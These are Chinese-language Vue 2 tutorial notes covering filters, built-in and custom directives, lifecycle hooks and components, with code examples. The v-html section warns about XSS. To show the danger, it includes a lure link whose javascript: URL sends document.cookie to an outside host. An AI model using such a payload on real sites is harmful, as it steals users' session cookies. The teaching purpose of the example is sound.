过滤器
🦋 过滤器:
定义:对要显示的数据进行特定格式化
后再显示(适用于一些简单逻辑的处理)。
语法:
1.注册过滤器:Vue.filter(name,callback)
或 new Vue{filters:{}}
2.使用过滤器:{ { xxx | 过滤器名} }
或 v-bind:属性 = "xxx | 过滤器名"
备注:
1.过滤器也可以接收额外参数、多个过滤器也可以串联
2.并没有改变原本的数据
, 是产生新的对应的数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| <script type="text/javascript" src="../js/vue.js"></script> <script type="text/javascript" src="../js/dayjs.min.js"></script> <!-- 准备好一个容器--> <div id="root"> <h2>显示格式化后的时间</h2> <h3>现在是:{{fmtTime}}</h3> <h3>现在是:{{getFmtTime()}}</h3> <h3>现在是:{{time | timeFormater}}</h3> <h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3> <h3 :x="msg | mySlice">尚硅谷</h3> </div>
<div id="root2"> <h2>{{msg | mySlice}}</h2> </div> <script type="text/javascript"> Vue.config.productionTip = false Vue.filter('mySlice',function(value){ return value.slice(0,4) }) new Vue({ el:'#root', data:{ time:1621561377603, msg:'你好,尚硅谷' }, computed: { fmtTime(){ return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss') } }, methods: { getFmtTime(){ return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss') } }, filters:{ timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){ return dayjs(value).format(str) } } })
new Vue({ el:'#root2', data:{ msg:'hello,atguigu!' } }) </script>
|
内置指令
v-text指令
🦅 我们学过的指令:
v-bind
: 单向绑定解析表达式, 可简写为 :xxx
v-model
: 双向数据绑定
v-for
: 遍历数组/对象/字符串
v-on
: 绑定事件监听, 可简写为@
v-if
: 条件渲染(动态控制节点是否存存在)
v-else
: 条件渲染(动态控制节点是否存存在)
v-show
: 条件渲染 (动态控制节点是否展示)
v-text
指令:
1.作用:向其所在的节点中渲染文本内容。
2.与插值语法的区别:v-text会替换掉节点
中的内容,{ {xx} }则不会。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <script type="text/javascript" src="../js/vue.js"></script> <!-- 准备好一个容器--> <div id="root"> <div>你好,{{name}}</div> <div v-text="name"></div> <div v-text="str"></div> </div>
<script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ name:'尚硅谷', str:'<h3>你好啊!</h3>' } }) </script>
|
v-html指令
🦅 v-html
指令:
1.作用:向指定节点中渲染包含html结构的内容。
2.与插值语法的区别:
(1).v-html会替换掉节点
中所有的内容,{ {xx} }则不会。
(2).v-html可以识别html结构
。
3.严重注意:v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击
。
(2).一定要在可信的内容
上使用v-html
,永不要用在用户提交
的内容上!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <script type="text/javascript" src="../js/vue.js"></script> <!-- 准备好一个容器--> <div id="root"> <div>你好,{{name}}</div> <div v-html="str"></div> <div v-html="str2"></div> </div> <script type="text/javascript"> Vue.config.productionTip = false
new Vue({ el:'#root', data:{ name:'尚硅谷', str:'<h3>你好啊!</h3>', str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>', } }) </script>
|
v-clock指令
🦅v-cloak指令
(没有值):
1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉
v-cloak属性。
2.使用css
配合v-cloak
可以解决网速慢时页面展示出{ {xxx} }的问题。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <script type="text/javascript" src="../js/vue.js"></script> <!-- 准备好一个容器--> <div id="root"> <h2 v-cloak>{{name} }</h2> </div> <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script> <script type="text/javascript"> console.log(1) Vue.config.productionTip = false new Vue({ el:'#root', data:{ name:'尚硅谷' } }) </script>
|
v-once指令
🦅 v-once
指令:
1.v-once所在节点在初次动态渲染后,就视为静态内容
了。
2.以后数据的改变
不会引起v-once所在结构的更新
,可以用于优化性能
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <script type="text/javascript" src="../js/vue.js"></script> <div id="root"> <h2 v-once>初始化的n值是:{ {n}}</h2> <h2>当前的n值是:{ {n}}</h2> <button @click="n++">点我n+1</button> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ n:1 } }) </script>
|
v-pre指令
🦅 v-pre
指令:
1.跳过
其所在节点的编译过程。
2.可利用它跳过:没有使用指令语法、没有使用插值语法
的节点,会加快编译。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <script type="text/javascript" src="../js/vue.js"></script> <div id="root"> <h2 v-pre>Vue其实很简单</h2> <h2 >当前的n值是:{{n}}</h2> <button @click="n++">点我n+1</button> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ n:1 } }) </script>
|
自定义指令
🐋 需求1:定义一个v-big指令
,和v-text
功能类似,但会把绑定的数值放大10倍。
需求2:定义一个v-fbind
指令,和v-bind
功能类似,但可以让其所绑定的input元素默认获取焦点
。
自定义指令总结:
一、定义语法:
(1).局部指令:
new Vue({ directives:{指令名:配置对象}
或 directives{指令名:回调函数}
})
(2).全局指令:
Vue.directive(指令名,配置对象)
或 Vue.directive(指令名,回调函数) 二、配置对象中常用的3个回调:
(1).bind
:指令与元素成功绑定时调用。
(2).inserted
:指令所在元素被插入页面时调用。
(3).update
:指令所在模板结构被重新解析时调用。
三、备注:
1.指令定义时不加v-,但使用时要加v-
;
2.指令名如果是多个单词,要使用kebab-case
命名方式,不要用camelCase
命名。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| <script type="text/javascript" src="../js/vue.js"></script> <div id="root"> <h2>{{name}}</h2> <h2>当前的n值是:<span v-text="n"></span> </h2> <h2>放大10倍后的n值是:<span v-big="n"></span> </h2> <button @click="n++">点我n+1</button> <hr/> <input type="text" v-fbind:value="n"> </div> <script type="text/javascript"> Vue.config.productionTip = false
new Vue({ el:'#root', data:{ name:'尚硅谷', n:1 }, directives:{
big(element,binding){ console.log('big',this) element.innerText = binding.value * 10 }, fbind:{ bind(element,binding){ element.value = binding.value }, inserted(element,binding){ element.focus() }, update(element,binding){ element.value = binding.value } } } }) </script>
|
生命周期
引出生命周期
🌈生命周期:
1.又名:生命周期回调函数、生命周期函数、生命周期钩子。
2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
4.生命周期函数中的this指向
是vm
或 组件实例对象
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <script type="text/javascript" src="../js/vue.js"></script> <!-- 准备好一个容器--> <div id="root"> <h2 v-if="a">你好啊</h2> <h2 :style="{opacity}">欢迎学习Vue</h2> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ a:false, opacity:1 }, methods: { }, mounted(){ console.log('mounted',this) setInterval(() => { this.opacity -= 0.01 if(this.opacity <= 0) this.opacity = 1 },16) }, })
</script>
|
分析生命周期
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| <script type="text/javascript" src="../js/vue.js"></script> <!-- 准备好一个容器--> <div id="root" :x="n"> <h2 v-text="n"></h2> <h2>当前的n值是:{{n}}</h2> <button @click="add">点我n+1</button> <button @click="bye">点我销毁vm</button> </div> <script type="text/javascript"> Vue.config.productionTip = false
new Vue({ el:'#root', data:{ n:1 }, methods: { add(){ console.log('add') this.n++ }, bye(){ console.log('bye') this.$destroy() } }, watch:{ n(){ console.log('n变了') } }, beforeCreate() { console.log('beforeCreate') }, created() { console.log('created') }, beforeMount() { console.log('beforeMount') }, mounted() { console.log('mounted') }, beforeUpdate() { console.log('beforeUpdate') }, updated() { console.log('updated') }, beforeDestroy() { console.log('beforeDestroy') }, destroyed() { console.log('destroyed') }, }) </script>
|
总结生命周期
🌈 常用的生命周期钩子:
1.mounted
: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
2.beforeDestroy
: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。
关于销毁Vue实例
1.销毁后借助Vue开发者工具看不到任何信息。
2.销毁后自定义事件会失效,但原生DOM事件
依然有效。
3.一般不会在beforeDestroy
操作数据,因为即便操作数据,也不会再触发更新流程了。
1
| <script type="text/javascript" src="../js/vue.js"></script>
|
非单文件组件
基本使用
🐘 Vue中使用组件的三大步骤:
一、定义组件(创建组件)
二、注册组件
三、使用组件(写组件标签)
一、如何定义一个组件?
使用Vue.extend(options
)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;
区别如下:
1.el不要写,为什么? ——— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。
2.data必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系。
备注:使用template可以配置组件结构。
二、如何注册组件?
1.局部注册
:靠new Vue的时候传入components选项
2.全局注册
:靠Vue.component(‘组件名’,组件)
三、编写组件标签:
< school ></ school>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| <script type="text/javascript" src="../js/vue.js"></script> <div id="root"> <hello></hello> <hr> <h1>{{msg}}</h1> <hr> <!-- 第三步:编写组件标签 --> <school></school> <hr> <!-- 第三步:编写组件标签 --> <student></student> </div>
<div id="root2"> <hello></hello> </div> </body>
<script type="text/javascript"> Vue.config.productionTip = false
//第一步:创建school组件 const school = Vue.extend({ template:` <div class="demo"> <h2>学校名称:{{schoolName}}</h2> <h2>学校地址:{{address}}</h2> <button @click="showName">点我提示学校名</button> </div> `, // el:'#root', //组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器。 data(){ return { schoolName:'尚硅谷', address:'北京昌平' } }, methods: { showName(){ alert(this.schoolName) } }, })
//第一步:创建student组件 const student = Vue.extend({ template:` <div> <h2>学生姓名:{{studentName}}</h2> <h2>学生年龄:{{age}}</h2> </div> `, data(){ return { studentName:'张三', age:18 } } }) //第一步:创建hello组件 const hello = Vue.extend({ template:` <div> <h2>你好啊!{{name}}</h2> </div> `, data(){ return { name:'Tom' } } }) //第二步:全局注册组件 Vue.component('hello',hello)
//创建vm new Vue({ el:'#root', data:{ msg:'你好啊!' }, //第二步:注册组件(局部注册) components:{ school, student } })
new Vue({ el:'#root2', }) </script>
|
几个注意点
🚀几个注意点:
1.关于组件名:
一个单词组成:
第一种写法(首字母小写)
:school
第二种写法(首字母大写):School
多个单词组成:
第一种写法(kebab-case命名)
:my-school
第二种写法(CamelCase命名)
:MySchool (需要Vue脚手架支持)
备注:
(1).组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。
(2).可以使用name配置项指定组件在开发者工具中呈现的名字。
2.关于组件标签:
第一种写法:< school></ school>
第二种写法: < school/>
备注:不用使用脚手架
时,< school/>会导致后续组件不能渲染。
3.一个简写方式:
const school = Vue.extend(options)
可简写为:const school = options
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <script type="text/javascript" src="../js/vue.js"></script> <!-- 准备好一个容器--> <div id="root"> <h1>{{msg}}</h1> <school></school> </div> <script type="text/javascript"> Vue.config.productionTip = false const s = Vue.extend({ name:'atguigu', template:` <div> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> </div> `, data(){ return { name:'尚硅谷', address:'北京' } } })
new Vue({ el:'#root', data:{ msg:'欢迎学习Vue!' }, components:{ school:s } }) </script>
|
组件的嵌套
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> <!-- 准备好一个容器--> <div id="root"> </div> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
//定义student组件 const student = Vue.extend({ name:'student', template:` <div> <h2>学生姓名:{{name}}</h2> <h2>学生年龄:{{age}}</h2> </div> `, data(){ return { name:'尚硅谷', age:18 } } }) //定义school组件 const school = Vue.extend({ name:'school', template:` <div> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> <student></student> </div> `, data(){ return { name:'尚硅谷', address:'北京' } }, //注册组件(局部) components:{ student } })
//定义hello组件 const hello = Vue.extend({ template:`<h1>{{msg}}</h1>`, data(){ return { msg:'欢迎来到尚硅谷学习!' } } }) //定义app组件 const app = Vue.extend({ template:` <div> <hello></hello> <school></school> </div> `, components:{ school, hello } })
//创建vm new Vue({ template:'<app></app>', el:'#root', //注册组件(局部) components:{app} }) </script>
|
VueComponent
🦋 关于VueComponent:
1.school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。
2.我们只需要写< school/>或< school></ school>,Vue解析时会帮我们创建school组件的实例对象,即Vue帮我们执行的:new VueComponent(options)。
3.特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!
4.关于this指向:
(1).组件配置中:
data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。
(2).new Vue(options)配置中:
data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。
5.VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。
Vue的实例对象,以后简称vm。
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| <script type="text/javascript" src="../js/vue.js"></script> <!-- 准备好一个容器--> <div id="root"> <school></school> <hello></hello> </div> </body>
<script type="text/javascript"> Vue.config.productionTip = false const school = Vue.extend({ name:'school', template:` <div> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> <button @click="showName">点我提示学校名</button> </div> `, data(){ return { name:'尚硅谷', address:'北京' } }, methods: { showName(){ console.log('showName',this) } }, })
const test = Vue.extend({ template:`<span>atguigu</span>` })
const hello = Vue.extend({ template:` <div> <h2>{{msg}}</h2> <test></test> </div> `, data(){ return { msg:'你好啊!' } }, components:{test} })
const vm = new Vue({ el:'#root', components:{school,hello} }) </script>
|
一个重要的内置关系
🐘1.一个重要的内置关系:VueComponent. prototype.proto === Vue.prototype
2.为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> <div id="root"> <school></school> </div> <script type="text/javascript"> Vue.config.productionTip = false Vue.prototype.x = 99
const school = Vue.extend({ name:'school', template:` <div> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> <button @click="showX">点我输出x</button> </div> `, data(){ return { name:'尚硅谷', address:'北京' } }, methods: { showX(){ console.log(this.x) } }, })
const vm = new Vue({ el:'#root', data:{ msg:'你好' }, components:{school} })
</script>
|
单文件组件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <template> <div> <School></School> <Student></Student> </div> </template>
<script> import School from './School.vue' import Student from './Student.vue'
export default { name:'App', components:{ School, Student } } </script>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <template> <div class="demo"> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> <button @click="showName">点我提示学校名</button> </div> </template>
<script> export default { name:'School', data(){ return { name:'尚硅谷', address:'北京昌平' } }, methods: { showName(){ alert(this.name) } }, } </script>
<style> .demo{ background-color: orange; } </style>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <template> <div> <h2>学生姓名:{{name}}</h2> <h2>学生年龄:{{age}}</h2> </div> </template>
<script> export default { name:'Student', data(){ return { name:'张三', age:18 } } } </script>
|
1 2 3 4 5 6 7 8
| import App from './App.vue'
new Vue({ el:'#root', template:`<App></App>`, components:{App}, })
|